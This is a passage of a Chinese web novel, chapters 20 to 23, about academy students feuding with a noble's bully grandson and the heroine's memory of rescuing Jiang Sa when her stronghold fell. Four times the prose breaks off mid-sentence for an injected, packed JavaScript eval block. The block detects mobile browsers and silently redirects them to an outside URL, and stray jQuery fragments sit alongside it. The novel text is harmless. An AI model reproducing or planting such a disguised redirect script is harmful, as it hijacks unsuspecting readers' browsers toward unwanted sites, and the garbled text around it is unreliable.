“哎呀,我这腿被忠国公府的狗咬伤,得回去治伤了。这次我就大人不记小人过,不计较你们放狗咬人了。”那少年轻蔑地笑着说道,随即转身招呼家丁,“走吧,回府。”
“怎么?打了人就想跑?”夏慕卿见祁青阳鼻青脸肿,料定是那少年派人动手,开口道。
那几人听闻加快了脚步,夏慕卿和百里摇光见此欲追,被祁青阳一手一个拉住,“我没事。别去了。”
正在这时,空中传来清脆的女声,“登徒子!吃我一拳!”
夏思卿从一侧赶来,飞身上前,冲着那少年腮帮子狠狠打了一拳,将那少年打得摔在了旁边家丁身上。
旁边家丁见此,齐齐朝夏思卿攻了过来,裴逍欲上前帮忙,夏慕卿伸手一拦,“放心,思卿解决这些人,小意思。”
果见,须臾间,那些家丁都被夏思卿打翻在地。
林曦月跑过来,拉了夏思卿便往回走,裴逍几人见此扶起祁青阳,跟在了后头。
夏思卿一路骂着,“那混账东西,真是无所不用其极!我说咱们都在庙里,你怎么突然不见了?原来是被这人掳了出来!”
林曦月叹了口气,“方才你进香时,我站在后面,突然被人掩了口,抓了出来。在庙门口,我趁家丁没注意,咬了他的手想逃,撕扯间,幸而世子和祁公子赶来救了我。”
“他们这么过分,你不让我多教训教训他们,为何要拉我走?”夏思卿停住脚步,气呼呼地冲着林曦月喊道。
林曦月怔住,眼圈微微泛红,柔声道,“思卿,定国公府如今势大,得罪了他,会给家中带来麻烦的。而且他姐姐就是皇后,如果他告诉皇后,想必我大姐在宫里也会被搓磨。我不想连累家里人,也不想连累你们。”
夏思卿知道林曦月也是不想连累自己去开罪定国公府,她方才没控制住自己的情绪,对林曦月发了火,当下有些懊悔,反而责怪起自己来,“也怪我,去什么劳什子月老祠里进香,不去的话,什么事都没有。
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15800008|175084||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
”
“思卿”曦月扯住夏思卿的袖子,红着眼道,“怎么能怪你呢?明明是恶人行恶,怎么能怪好人不当心?”
“啊呀”夏思卿愤愤地跺了跺脚,“可是,这已经两次了!那纨绔防不胜防的,你以后怎么办?”
林曦月伸出两手轻轻圈住夏思卿,讨好道,“好思卿,别气了,别气了。我以后小心些就是了,再说还有你在我身边嘛。”
夏思卿突然一点气没有了,无奈笑了笑。
“她们这些小姑娘总是又哭又笑的。”夏慕卿嘀咕了一声,旁边祁青阳一手搭着裴逍,一手搭着百里摇光,轻笑了一声。
“你还笑得出来?看都被打成什么样了,这么丑!”百里摇光玩笑道。
“你不会说话就别说!”裴逍听得不舒服,冷眼盯着百里摇光斥责了一句。
前面林曦月这才想起来祁青阳因为救她被打了,又见裴逍和百里摇光似要争吵起来,连忙回身道,“百里公子和裴公子别置气,此事都是因我而起。”说着,又看向祁青阳道,“对不起,祁公子,都是我连累了你。”
百里摇光瞅了裴逍一眼,扭头不再说什么。
祁青阳摇了摇头,“无妨的,小伤而已,只是看着严重罢了。”
林曦月一脸愧疚,整张小脸都快皱起,双眸荧光闪闪,似乎下一刻,就有泪水涌出。
祁青阳忙道,“真的没事的!之前听闻姑娘会医,那不如给我点伤药好了。”
林曦月连连点头,“有,有,我有好多药。回去书院我就拿给祁公子。”
夏慕卿问道,“曦月,你有跟林相爷讲过窦家纨绔上次故意将你推入水里的事吗?”
“没有。”林曦月摇了摇头,“我爹原本因为我学医的事就已经很不满了,再与他说这些,他怕是会对我管束更严,不让我自由出入了。”
·
几人回到驻营处,祁青阳要生火,几人硬是将他拦住,扶到席子上歇息。
裴逍生了火,将鱼架在上面烤制。
百里摇光将猎来的两只山鸡处理干净,也架在了火上烤。
夏慕卿趁几人在忙,走近夏思卿,低声问道,“你方才去了月老祠进香?”
夏思卿听闻神情有些不自然,脸都有点泛红了,支支吾吾地道,“没,不是,你听错了。”
“你这丫头”,夏慕卿一脸无奈,戳了夏思卿脑袋一下。有同窗外男在,夏慕卿也就没有再追问思卿,但心中察觉到思卿许是看上哪家公子了。
没多久,鱼和山鸡烤好,香味飘了出来。
席子上陈列好了夏思卿和林曦月带来的点心香果,几人围坐在席子上吃吃笑笑,日头偏西,便收拾了器具,踏上归程。
思卿和曦月坚持将马车让给祁青阳,两人共骑一匹马,回到女学里取了药出来。裴逍和百里摇光将祁青阳扶下马车,百里摇光让家中仆从带了狗和车马回去,几人在国子学门口道了别。
·
新的一旬开始,裴逍一早进到课室,就见百里摇光的座位后新设了一张桌案,看来是有新的学子要来了。
21. 第21章
果不其然,上课钟声敲响,傅掌教就领着一个学子进来了。
那学子一进门,便睁着大眼,在课室里扫视。他看到裴逍,眼神定住,扯了个大大的笑容,眼睛弯起,眼下亮亮如卧春蚕,露出一口整齐的白牙。
“这人都找来国子学了,跟你到底什么关系啊?”百里摇光已经认出那学子,微微斜向裴逍,低声道。
裴逍没理会他。
“这是新来的学子,姜飒。”傅掌教向众人介绍道。随后,傅掌教又看向姜飒说,“你自己介绍一下吧。”
“各位同窗,我是姜飒,飒爽英姿的飒,”说到这,他停了停,得意地四处看看,接着道,“我的名字是不是很好听?是不是很羡慕?”
课室里少年们的嘘声渐渐响起,夏清泽一脸不屑,嗤了一声,在一片嘘声中也能听得分明。
前面的少年,丝毫没在意其他学子的嘲讽,仿佛认为这是因嫉妒他才引起的。
“嘻嘻,羡慕也没有用,我费了老大力气才让长辈给我改的。”
名字还能自己想让长辈改,长辈就给改的,更何况还是京中这些世家权贵子弟?下面学子们又是一番嗡嗡低语。
“我今年十四,喜欢蹴鞠、打马球、打捶丸、投壶、樗蒲、双陆棋、叶子戏、斗蛐蛐——”
“好了,去坐下吧。”眼看这学生越说越离谱,而下面的学子越听越热闹,傅掌教连忙叫停。
他扶着额头,沉默了半天,似才想起本来要讲的内容,轻摇了摇头,说道,“今天咱们讲读《礼记》中的《大学》篇。”
姜飒兴高采烈地朝着百里摇光位置后面空的桌案走去,目光却从未离开过裴逍。
裴逍低头避开姜飒的视线。
姜飒坐下后开始整理书箧、笔墨纸砚,发出“叮铃咣当”一串声响,半晌方才静了下来。
裴逍轻出了口气,刚想着“终于静了”,就见一个纸团突然从后面飞到了她的桌上。
裴逍抬头看了眼,傅掌教没注意这边动静。她拿起纸团展开,歪扭的字迹嚯地扑面而来。
真难看!裴逍忍不住腹诽,而后才定睛看上面的内容,“我知道你在国子学专门来找你的。”
看来这人是上回跟着她和百里摇光回来,见到她们进了国子学,所以便也来了。可是这是国子学啊,他想来便来了?温国公嫡孙,果然是皇亲贵胄。裴逍冷哼了一声,将那纸压到原本的纸张下面,没再理会。
不一会,又一个纸团落在了她桌上,旁边的百里摇光都忍不住扫了那纸团一眼。
裴逍轻呼口气,展开纸团见上面写,“当时我安全后,有回去山上找过,没想到山寨中的人都没了,只剩下一座座墓牌。但我总觉得你还活着,便一直派人到处找你,直到前几日才在街市上见到你。”
裴逍低头看着那纸上文字,思绪又回到了一年前。
·
那日,裴逍在雁城中的县学休沐后,骑马回山寨。平日陪她在城中读书的发小薛泽,已经提前回去了。
在蜿蜒的山路之上,裴逍听到一侧林中传来动静。她看过去,发现竟是薛泽拉着一个少年在林中穿行。
“阿泽”她忙喊道。
薛泽见是她,便朝着她奔近。裴逍看到薛泽左臂上有血迹,立即下马,也向薛泽跑去。
两人碰面,薛泽微喘着气,急促说道,“官府围攻山寨,里面还有一群武艺极高的杀手,我爹和裴叔让护这小子离开。”
这时,裴逍才看向旁边的少年。那少年似受了惊吓,圆眼大睁看着她,任由薛泽拖拉着,看起来像一团街巷里卖的泥偶。
“那你送他走,我回去山寨。”裴逍说着就要回身驾马。
“我回去!”薛泽突然拽住她,“我刚跟他们交手过,有经验!”
“那咱们一起回。”裴逍焦急说道。
“裴逍!”薛泽突然厉声喊。裴逍感觉薛泽大力紧抓着自己胳膊的手,似有些颤抖。
“我爹和裴叔下了军令,让务必护这小子周全!”
军令?裴逍怔住了,师父一向以军法管理山寨,下军令,则意味着无人可违抗。
薛泽将那少年往裴逍身边一推,一杆长枪丢给裴逍,等裴逍反应过来,他已经翻身上去驾马走了。
“阿泽!”裴逍追了出去。
马上少年回头,“你们快走!寨中事平,我去找你!”
裴逍停住脚步,心慌慌乱跳,四肢都有些颤麻。
冷静!冷静!这时候急,一点用都没有!她自语着,渐渐冷静下来。
师父和父亲下了军令,那这少年必须得安排妥当,为今之计,只能尽快将这少年安排妥当,再赶回山寨。她心里如此想着,回身拉起那少年,道了声,“跟我走!”,就在山林中穿梭起来。
那少年柔柔弱弱的,体力也不好,连连喘气,几次被绊倒。裴逍此时心急,也没有什么耐心,每次那少年摔倒,裴逍根本顾不上问他怎么样,也顾不上安抚,只使劲将他拉起来,拽着就继续跑。那少年似也明白此时情况紧急,没什么怨言,只咬牙努力跟上裴逍。
两人快跑到山脚,突见山下道旁,有两个浑身着黑衣的人正在四处张望,旁边还拴着两匹马。那两个黑衣人,看着眼生,不是山寨中人,也不是附近村庄里见过的。
裴逍拽着那少年躲到了一棵树后,思索着现在山寨被围攻,只能离开山寨。雁城还远,离这里不远有村庄,现下只好先躲去村子里。
正想着,忽感觉到有杀气临近,裴逍迅速拽了那少年往后退开几步,便见那两个黑衣人攻了过来。两人下手凌厉,招招狠辣,稍有不慎,便要丢命。裴逍带着那少年确实捉襟见肘,很快就落于下风,渐渐支撑不住。她对那少年喊道,“我挡着他们,你骑马走!”说着裴逍就要松开那少年。
那少年却反而抓紧了裴逍的衣袖,哆嗦道“我,不,不会骑马”。
裴逍秀眉微蹙,一边对敌一边思索,片刻后,仍是道“往马那里跑”。
那少年见裴逍如此说,犹豫了下,还是听裴逍的,奔命般朝着道旁那拴缚马的位置跑。
两个黑衣人见那少年跑开,果如裴逍猜测一般,弃了裴逍,要去追赶那少年。
趁黑衣人去追之时,裴逍抬起腕上袖箭,朝着一个黑衣人后心射去。
那黑衣人中箭倒下,而旁边黑衣人似根本不在意这人生死,几乎没有任何停滞,仍是冲去追那少年。
裴逍忙疾追去,堪堪距离接近,裴逍猛地将
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15800009|175084||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
手中长枪掷出。
那黑衣人后背中枪,顿住脚步,又要向前,裴逍赶上,旋身足蹬黑衣人,双手拔出长枪。
在那黑衣人吃痛叫喊之时,裴逍转到他身前,将长枪就着他的脖颈一划,一道血线飞出,那黑衣人向后直挺挺倒去。
这是裴逍第一次杀人,她轻呼了口气。不待多想,裴逍听到林中有大批人马快速行动的声音。
裴逍狂奔向道旁马匹位置。那少年手忙脚乱,还在解系马的绳子。
“闪开。”裴逍喝了一声,手掣枪尖三两下挑开那绳,翻身上马,拽了那少年上来,策马夺路而奔。
她们二人搭一马,很快便听到身后有马匹追来的声音,裴逍只得加紧催促马匹。
裴逍于马上回头,见后面有几十人追赶,那些人的装束与方才死的那两个黑衣人一模一样。
快行到一个岔路口,裴逍提前将前面少年衣袍,用枪划下一截。
堪堪到岔路口位置,裴逍一手驾马,一手掣长枪挑住那截衣物,抛向了其中一条路,而马不停蹄地捡了另一条路奔去。
追在后面的黑衣人少了一些,看来他们分头追击了,但还是有不少人追了来。
快到村庄了,裴逍本想藏身村子里,但现在身后追赶的这些人,出手狠毒,裴逍担心这些杀手会伤到村里人,便一路策马,将那些人引到村落边缘。
转过一溜民屋土墙,趁那些人暂时视线阻隔,裴逍下马将少年藏于道旁草垛中,对他说,“把你衣服给我。”
那少年直愣着眼不动。
裴逍见此,直接伸手剥了少年外衣,套自己身上。“我去引开他们,如果天黑我还没有回来,你就自己去雁城。”
说着她便起身要走,却突然被人拽住衣袖,她回头看去。
那少年眉头紧蹙,郑重说了声,“小心”。
裴逍怔了一下,望进那少年盛满担忧的眼中,点头道,“好”。说着她便转身,几步翻身上马,飞驰了出去。
只有裴逍一人,因年小体轻,马速快了不少。加上裴逍熟悉附近地形,骑着马绕着村庄外绕了一段路程后,向着另一条上山通往难凉寨的路又冲了去,带着那些黑衣人又迤逦绕了回去。
骑马奔上山路,马速降了下来,那些黑衣人追上了裴逍。
黑衣人有十余人,武艺高强,裴逍拼命抵抗,仍是不敌。
在她险些被杀之时,幸而遇到另一波人杀来,击杀了那些黑衣人。
裴逍得救,踉跄着就要往山上赶,一人拦住裴逍问,“原先穿你衣服的人在哪?”
“藏在山下村落靠东边一个草垛里”。
那人拱了下手,便带着其他人策马朝裴逍来的方向去了。
马匹方才已经被刺倒,裴逍只得靠双腿夺步狂奔,丝毫顾不上身上的伤痛。
可是等裴逍回到山寨,还是晚了......
想到这,裴逍心中涌上一片哀痛。她闭了闭眼,仿佛这样,痛苦可以减轻一些。
“咚——”下课的撞钟声响,裴逍慢了一步,方才跟着众学子起身行礼,目送先生离去。
这时,裴逍感觉有人扯动了她的衣袖。
“这一年,你过得怎么样?”后面的少年问。
22. 第22章
裴逍轻甩开衣袖,坐了下来,将那两张皱纸一并拿出,一边撕一边说,“能怎么样?该怎么样就怎么样。”
她并没有很大声,也没有言辞凶厉,但旁边的百里摇光,隔过道坐着的祁青阳和夏慕卿都能看出,裴逍生气了。
“对不起,当初是我连累了你们。”那少年转到了裴逍前面,看着裴逍说道,“你们付出了那么大代价,才救了我,我也想为你们做点什么——”
“不必!”
少年蓦地抬头看向裴逍,双眼圆睁,满是不可置信。
裴逍起身说道,“既然你一切安好,那当年我们的努力也算没有白费。我们出于道义,尽力相救,最终还是靠你自己吉人有天相,才能化险为夷。如此,便不必再挂怀了。既不是为读书,何必来这国子学?”
裴逍当时回到山寨,见到寨中人多是惨死,手法狠毒,不像府衙兵卒所为,倒像是追杀姜飒的杀手做的。所以,裴逍认为这些人很可能就是为了杀姜飒,才来围剿山寨的。虽然是师父和父亲下令让薛泽和她护着姜飒离开,但裴逍心中对姜飒却是有怨恨的。
“不是”、“不是”那少年嗫嚅着,不复自我介绍时的善言,“不是”了半晌,谁也不知道,他到底在否定哪句话。
“你走吧。”裴逍抛下这句话,就迈步向外走,刚走了两步,却又被那少年扯住衣袖。
“我知道当初是我连累了你们。我也知道你看见我,可能会想起被害死的家人,所以看见我不高兴。可是,可是,我真的想要报答,也想要跟你做朋友。”
裴逍拽了下衣袖,竟然没拽开,只得暂时停下听那少年说。
“我从未见过像你这样的同龄人。英勇、仗义、聪慧,所以我一直在找你,那日看你进了国子学,我就想办法也来了。”
“你别赶我走行吗?”说着,那少年抓着裴逍的衣袖开始左右晃悠,活像是在撒娇的小孩。
裴逍睁大了眼,反而愣住了。
那少年眼周有些泛红,大眼长睫扑扇,一副可怜兮兮的样子。
什么啊,裴逍心中无奈,搞得好像是她欺负他了一样!
“随你。”裴逍又使了点力气,拨开那少年拽着他衣袖的手,便向门外疾走。
后面夏慕卿的调侃声响起,“姜飒,不知道温国公看见你这副样子会不会揍你?”
夏慕卿认识他?是了,也正常。裴逍心中想着,只听后面传来那少年的声音,“要你管”,随后就听到有脚步声快速跟来。裴逍走得更加快了。
·
会馔堂中,裴逍打好餐食刚坐下一会,一只鸡腿腾地出现在了碗中。
“阿逍你好瘦,得多吃点。”
裴逍抬眼看去,对面那人笑得眉眼弯弯,正是姜飒。
裴逍拿起餐碗,霍然起身,换了个座。
刚刚坐下,那姜飒又跟着坐到了对面。
裴逍轻呼了一口气,权当对面不是人,而是尊塑像,只默默用膳。
须臾,旁边又坐过来一人,裴逍掀起眼皮向侧面看去,见祁青阳笑了笑,慢条斯理地吃了起来。裴逍没说什么,低了头继续用膳,看到碗里那只鸡腿,不自觉地瞟向前面,见姜飒也刚从祁青阳那里收回目光,一脸谄媚地冲她笑了笑。
裴逍无奈,低了头拨箸将那鸡腿推到碗中最边缘。
姜飒见祁青阳自然地坐了过来,裴逍也没说什么,是以也缄了口,没对祁青阳说什么不客气的话。
“哎呦,今日可真热闹。”夏慕卿一脸戏谑,坐到了祁青阳对面的空座上,百里摇光跟着坐在了他旁边。
“你们干嘛坐过来?”姜飒问。
“你这问得有意思了。青阳是我的舍友,裴逍是摇光的舍友,我们为什么不能坐过来?”夏慕卿道。
“阿逍是摇光的舍友?”姜飒重复问道。
“没错,你的阿逍是我们摇光的舍友。”夏慕卿调笑道,还特别加重了“你的阿逍”几个字的音。
裴逍没好气地抬头瞅了他一眼。
似乎是“你的”两个字取悦了姜飒,他倒没反驳什么,只说“阿逍是我的专属称呼,你不许叫”。
裴逍秀眉轻蹙。
“怎么就是你的专属称呼了?”夏慕卿觉得好笑,继续道,“我们这,可还有‘逍遥组合’呢,阿逍阿摇,我们就这么叫的。”
“咳咳”,百里摇光那边也咳了起来。
裴逍心里不悦,正欲反驳。没想到姜飒豁地一下站起来,倒吓了裴逍一跳。
“逍遥,谁是遥?”
夏慕卿还没说话,百里摇光放下碗站了起来,转向姜飒说道,“我是百里摇光,你有何指教?”
姜飒和百里摇光中间,饶是隔了个夏慕卿的身位,也还是明显可以看出百里摇光比姜飒高不少,整个人又有一种凌厉的气势。
姜飒有些气弱,坐了下来,只是嘴上还不服气地说,“逍遥有什么了不起,我和阿逍还是‘潇洒’组合呢”。
“够了!”裴逍将筷子扣在碗上,厉声道,“闭嘴吃饭,不然就给我滚!”
对面姜飒抿了抿唇,悻悻低了头用膳,不再言语。
“整天黑着个脸,谁欠你的啊!”百里摇光冲裴逍喊了一句,端起餐食,坐到了旁边空着的一桌。
夏慕卿一脸愧疚,“怪我怪我,不该跟姜飒斗嘴,你们先吃,我去劝劝摇光。”说着他端起碗跟去了百里摇光那桌。
祁青阳见气氛不好,忙道,“饭都要凉了,快吃吧。”
裴逍碗里还剩了那个鸡腿,不想吃,但是又不想浪费,只来回拿筷子扒拉那鸡腿。
祁青阳轻笑了一声,“那鸡腿可没有得罪你啊,吃不下给我好了。”
裴逍停了手,将碗推向了祁青阳那边。
祁青阳倒进自己碗里,吃了起来。
姜飒默默看着,也不好说什么。
眼看祁青阳也吃完了,而姜飒碗中饭菜还几乎没怎么动,裴逍便道,“你慢慢吃,我们先回了”。
“我也回。”姜飒站了起来,也要一起走。
那边桌上百里摇光吃好了,
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15800010|175084||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
起身看到姜飒的碗,皱起了眉头,他在军中生活多年,自是看不得这种浪费粮食的行为,忍不住说了句“浪费”。
姜飒撇撇嘴,没有回应。
裴逍轻蹙了下眉,当先走了,心道这公子哥定是家中山珍海味吃多了,吃不惯学堂里的饭。不过这样的话,说不定他待个几天就知难而退回家去了,也省得在国子学占一个名额。既不好好读书,还不如把这机会让给真正需要的学子,国子学中可是有名额限制的。
几人一路往斋舍行去,没成想姜飒跟在后面,和裴逍她们进了同一个院子。
“你也住这院子?”夏慕卿好奇问道。
姜飒指着裴逍和百里摇光斋舍对面的房间,也就是夏慕卿和祁青阳搬出来的那间,道“嗯,我住这。阿逍,我的斋舍现在就我一个人,你要不要搬过来做我舍友?”
裴逍刚要羡慕他可以一个人住。不成想,姜飒反而要邀请别人和他同住。裴逍想都没想,便道“不必”。
许是拒绝地过于直接了,那姜飒愣在那里,脸色些微泛白,而旁边百里摇光轻轻扯起了嘴角。
·
下午是算学课,姜飒来迟了不说,坐到座位上还犯困睡着了,被宗先生喊去课室门口蔫蔫罚站。
裴逍冷眼看了看,轻叹了口气。
下了课,姜飒乖觉地低着头等先生走了,便跳进课室里要找裴逍。这时,林致远喊住他讲联社活动的事情,姜飒听得有趣,便暂忘了要找裴逍。
等他再想起来的时候,裴逍早就不知踪影。
·
裴逍正在典籍楼看书,突然听到外面一阵骚乱。
“校场有人打架了!”外面有学子在喊。
典籍楼里不少人听到也跟了去看热闹。
裴逍突然想到什么,抬头问也在典籍楼中看书的林致远,“斋长,姜飒联社活动选了什么?”
“他让我带他去了校场,按他上午介绍的那些爱好,我猜可能选了马球或者蹴鞠。”林致远回道。
裴逍翻了几页书,再也看不进去,还是起身去了校场。
她来到校场,只见校场中央有二十来个少年搅在一起,打作一团。其中一伙明显整体身形更高大些,想是高年生。
周边许多学子在围观。
裴逍扫过去,见到那姜飒果然在其中。他头发散乱,嘴巴一边有点肿,正骑在一人身上胡乱抡拳。而在他旁边,祁青阳正拉着他,似乎是要阻止他动手。祁青阳脸上的伤也还没好,这时他们俩的形象倒狼狈地如出一辙。
裴逍心下无语,见姜飒这个样子,也没什么大事,便打算顺其自然,不插手。这么想着,她便看向在打斗的其他人。
正在这时,她见到那打斗的人中有个眼熟的,是两次对林曦月下手的那个定国公的嫡孙!
那少年拿着鞠球,作势要砸人,裴逍顺着他瞄的方向看过去,见正好是姜飒和祁青阳的位置。
说时迟那时快,等裴逍反应过来的时候,她已经冲到姜飒和祁青阳跟前,飞起一脚踢开了那鞠。
23. 第23章
她身形奇快,抬腿踢球的动作又伶俐漂亮,更令人诧异的是那球高高飞起,最后竟然还落到了,两高杆之间布网的风流眼中。
一时,围观学子赞叹之声纷纷响起来。
“好厉害啊!”
“随意一踢,竟然就射门中了啊。”
“那是谁啊?”
...
裴逍不愿与窦家那纨绔正面冲突,走到打斗的人群中,拽起还在发呆的姜飒和祁青阳就走。
姜飒被裴逍拉到了校场边才反应过来,两眼亮晶晶地看着裴逍称赞道,“阿逍你刚才那脚鞠太漂亮了!”
裴逍懒得理会他,见校场外有书院管教先生,跟着几个学生疾步而来,本已松开的手又拽住姜飒和祁青阳急奔起来,“监丞要来了,快走”。
校场上的少年看见几个学生引着监丞往校场这边来了,赶紧四散逃了,躺在地上的也都赶紧互相搀着,瘸拐蹦跳地跑开了。
·
裴逍走进姜飒斋舍的时候,感觉自己走错了地方。
这哪里像是书院的斋舍?
灯具、熏炉、花瓶、盆景等等大小精致器物琳琅满目,金银丝线绣的帐幔富丽堂皇,就连一进屋的桌案和圆凳都给换了,那木料裴逍虽然认不出,但色泽、纹理和工艺看起来便价值连城。裴逍有生以来,都未见过如此奢华的寝室了。
显然不止裴逍这么想,后面跟进来的夏慕卿也吃了一惊,“你这是把自个儿家搬来了?”
姜飒看见裴逍,高兴地眼睛眯成了缝,一看到他们身后跟着的两位,瞬间圆眼大睁,怒道,“你们两个来干什么?”
“当然是来看你笑话啊。”夏慕卿一边观赏着姜飒斋舍里的用物,一边调侃道。
姜飒正欲驳斥几句,被夏慕卿几句话,转移了注意力。
“色紫而类茭叶,光软香净,这是紫茭席?”夏慕卿走近姜飒的床榻,看着姜飒身下那席子,问道。
“嗯,冬温夏凉,皇表兄送我的。”姜飒回应道。
夏慕卿啧啧两声,感叹道,“实在是奢靡。”
“我看你是吃不到葡萄,说葡萄酸。反正你嫉妒我也没用,谁让小爷集万千宠爱于一身。”姜飒得意道。
夏慕卿轻笑了几声,摇了摇头。
祁青阳之前便在姜飒斋舍中,此时他正拿着药膏,在给姜飒嘴角上药。
裴逍问,“你们怎么会打起来?”
“这事怪我。”祁青阳道,“你们知道,我在书院里做工赚取点生活费用。今日我负责整理校场上的器械,还有一个院工今日有事找了医舍的兰惜姑娘来帮忙。我们正在整理,之前咱们碰到的那个定国公嫡孙和几个纨绔蹴球砸到了兰惜姑娘,他们走来不仅不道歉,还对兰惜姑娘辱骂推搡。我过去阻拦,他们便跟我动起手来。姜飒是看见我被他们围攻,过来帮我的。”
裴逍看向姜飒,姜飒扬着脸,一侧腮帮子鼓起,眼睛却笑得眯成了两条缝,一副与有荣焉的样子说道,“我虽然跟祁青阳不熟,但是毕竟我们中午还一起吃饭了嘛,我也不能让他随便被人欺负。”
“那夏清泽怎么也在里面?”夏慕卿问。
“当时,我和夏清泽正一起蹴鞠,他见我和人打了起来,就跟同窗们来帮我。最后就变成群殴了。”
“这夏清泽还挺讲义气?”百里摇光道。
姜飒扫了他一眼,说“嗯,这人还行,之前宫宴一起玩过几次。”
“那你是不知道,夏清泽之前怎么刁难裴逍的?”夏慕卿没好气地说。
姜飒腾地站了起来,“他欺负阿逍?”
“没什么,都过去了。”裴逍简单解释了一下,之前的事她觉得没必要再提。
姜飒听裴逍这么说,方才放心坐回床上,说道,“没事,阿逍。反正有我在,我绝不会让别人再欺负你。”
这时百里摇光突然问,“你和裴逍怎么认识的?”
果然又被他盯上了,裴逍心中又忐忑又无奈。
那边姜飒已经一脸兴奋地说道,“我们认识的经历,那叫一个惊险刺激,跟写话本似的——”。裴逍担心姜飒说出跟难凉寨有关的事情,引得百里摇光怀疑,连忙打断道,“简单说,就是姜飒被人追杀,我救过姜飒一程,就是这样而已”。
“被人追杀?你一个成天吃喝玩乐的公子哥,别人追杀你作甚?”夏慕卿问。
“我也不知道啊,我除了爱玩一些,又没做过什么伤天害理、欺男霸女的事情,后来家里派人查了很久,什么也没查出来。不过好在到京中以后,就没有人再来杀我了。”姜飒说道。
裴逍听闻心里琢磨着,难道当时难凉寨被剿灭一事,与姜飒被追杀无关,只是刚好碰到一起?就是官府突然决定要剿灭山寨了?
“我听说你是一年前温国公从江南接回来的,裴逍一直生活在北边,你们是在北境遇上的?”夏慕卿又接着问。
姜飒说道,“我是被人掳到北边的,然后被难凉寨的匪众救下。后来难凉寨突然被官兵包围了,而且是见人就杀,完全不给沟通的机会。就是那样危急的时候,难凉寨的人还是派人护着我离开了,然后——”
“然后路上偶然遇到了我,我见他一个人被多人追杀,就出手帮了他,带他逃了一阵。”裴逍再次打断姜飒说道。
姜飒见裴逍又一次打断他,心里猜到裴逍可能是不想让别人知道他与匪寨有关系,就没再说了。
“偶然遇到?”百里摇光看了裴逍一眼,又盯着姜飒继续问道。
姜飒看出百里摇光在探究裴逍和山寨的关系,赶忙岔开道,“对啊,所以我很崇拜阿逍,一直在找他啊。当时他带着我逃,一直甩不开追杀的人,最后是他穿了我的衣裳帮我引开杀手,我才得以脱身的。”说到这,他激动地一手撑床站起来,“阿逍真是,真是太好了!”说着,做势要过来揽裴逍。
裴逍连忙像避瘟神似地往后退了老远,几乎要退到到门口了。百里摇光抱着双臂轻笑了一声。
姜飒哭笑不得,放下了手。
“你们这经历听起来真是让人向往啊”,夏慕卿从袖子里掏出一个精致的帕子,展开垫在凳子上,坐下说道。
裴逍和姜飒愣住,齐看向他。这么危险的事情他向往什么啊?!
夏慕卿神情颇有些羡慕,看着姜飒说道,“我记事起,基本就一直在京中了,感觉生活属实无趣”。
“这样啊,那我能理解了。我也这么觉得。”姜飒走到夏慕卿旁边的凳子上坐下,“我来到京中,也觉得甚是无聊。天天就是那些宴会啊游乐的事情,还有长辈管着。啧啧,还不如来京路上感受各地风土乡情有意思”。
“那好说,假期出去游历便是。”百里摇光从小长于西北边境军中,跟他们这些困于城内
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15800011|175084||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
的公子哥想法自然不同。
“我家老头不允啊”。夏慕卿叹息道。
姜飒也是唏嘘,“我家里估计也不同意”。
自己想回家而没有家,这些少年有家却一心想着要离开家,裴逍心中忍不住叹息。
·
众人回寝休息的时候,裴逍特意留了一下。她跟姜飒嘱咐道,“我与难凉寨的关系,别透露给其他人”。
姜飒明了,一拍胸脯道,“放心阿逍,我机灵着呢”。随即他又说道,“当时我家中护卫到村子里找到我,我本要去山寨里找你,因又有杀手追来,护卫坚持要先护送我走。后来我脱险后回去难凉寨,见山寨里的人都,不在了。”说到这,姜飒声音低了下来。
“我有去祭拜,也有吩咐人在那边逢年过节祭扫照料。那些官兵和杀手是在我到山寨后不久来进攻的,应该是我连累了难凉寨。”姜飒想起后来的情况,心生愧疚。
